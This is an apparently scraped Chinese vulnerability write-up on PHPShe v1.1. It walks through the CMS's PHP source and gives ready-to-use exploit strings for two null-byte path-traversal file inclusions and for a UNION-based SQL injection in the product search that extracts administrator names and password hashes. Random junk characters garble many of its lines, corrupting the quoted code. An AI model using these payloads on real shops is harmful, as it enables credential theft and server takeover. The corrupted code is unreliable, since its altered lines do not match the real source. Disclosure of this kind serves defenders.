phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
7 F! l1 T; D" c& q( o/* Phpshe v1.1 Vulnerability
9 f* j; T7 B% s# J& c4 l; e/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


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//common.php
8 B6 V# `; z2 r4 l' nif (get_magic_quotes_gpc()) {
" A  D$ ?) z$ c1 {!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
7 l8 }) ~8 I  S4 h9 X' t8 F}
" D- y6 [! D+ |" g4 D! `else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
" s+ s! y& O% C!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

) b0 H' M+ f$ e4 M0 L! C& J9 |! M0×01 包含漏洞
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" E8 N; B+ S$ a//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ V+ e& c: {5 _: u0 Z2 ~8 Dpe_result();
?>
//common 文件 第15行开始
# A: u6 u# P5 \! z0 ^8 W. u5 Vurl路由配置
/ h/ b4 [# z/ n  S$ I, u$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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8 a' {) H; s. @* ^5 C; v 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
! G3 P2 Y2 e% c6 C( \7 d$category_id = intval($id);
$ t9 \: A( H$ z2 a$info = $db->pe_select('category', array('category_id'=>$category_id));
& I9 d1 e$ j: E) }4 F//搜索
0 ^3 D2 i/ r- i$ d; _( d( {$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
8 ]; L% }! C# C: ?5 Jif ($category_id) {
' P) g- L4 r; F4 T5 Z; Qwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
9 A" q& x% z* D) F" W' T}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
9 {1 v/ o2 D1 L/ h% B% R$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
+ A7 N9 e2 y/ L; telse {
$sqlwhere .= " order by `product_id` desc";
}
, ?3 S8 F  @% K# N$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
  H& K5 x, _. e$nowpath = category_path($category_id);
% i+ x1 C: d1 C$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
0 Y7 D7 Y" N9 v# M# O6 R5 g//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 K: u4 p4 W7 b  c7 K, x{
//处理条件语句
+ C) ]9 Y7 T! U! {: h' M) p9 K$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
7 F& x' Y& W; l0 X) Wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

! w& m8 Z: H3 W! }0×03 包含漏洞2

/ |3 s. t6 ^+ D; L0 K<code id="code3">

//order.php

case 'pay':

6 G  ^+ K2 l4 H) C$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

! h& q+ g! f+ i8 P( L* Q/ Dif ($k == 'bank') {

8 T! x8 F5 I5 @/ R+ M$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

! h  W+ x7 ^$ r}

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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 K5 K* Q, m) P* P# H, z( z8 a!$order['order_id'] && pe_error('订单号错误...');

5 b* c- U8 P+ q! kif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

3 z: q" g2 p+ E! l4 h+ nforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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7 h1 ?, Y, X) u* o0 F7 W, ?! M}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 x4 n& n/ M+ S0 S}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

0 E, `2 P: Y; e: p8 E* ~pe_error('支付错误...');

2 X# l) O  l6 K% t8 x" u}

}

* h/ T/ }1 l+ y' Y, E+ c$seo = pe_seo('选择支付方式');

# `: R) x4 G7 Z# k, @include(pe_tpl('order_pay.html'));

+ s9 ]) F3 H1 f8 b# Q/ dbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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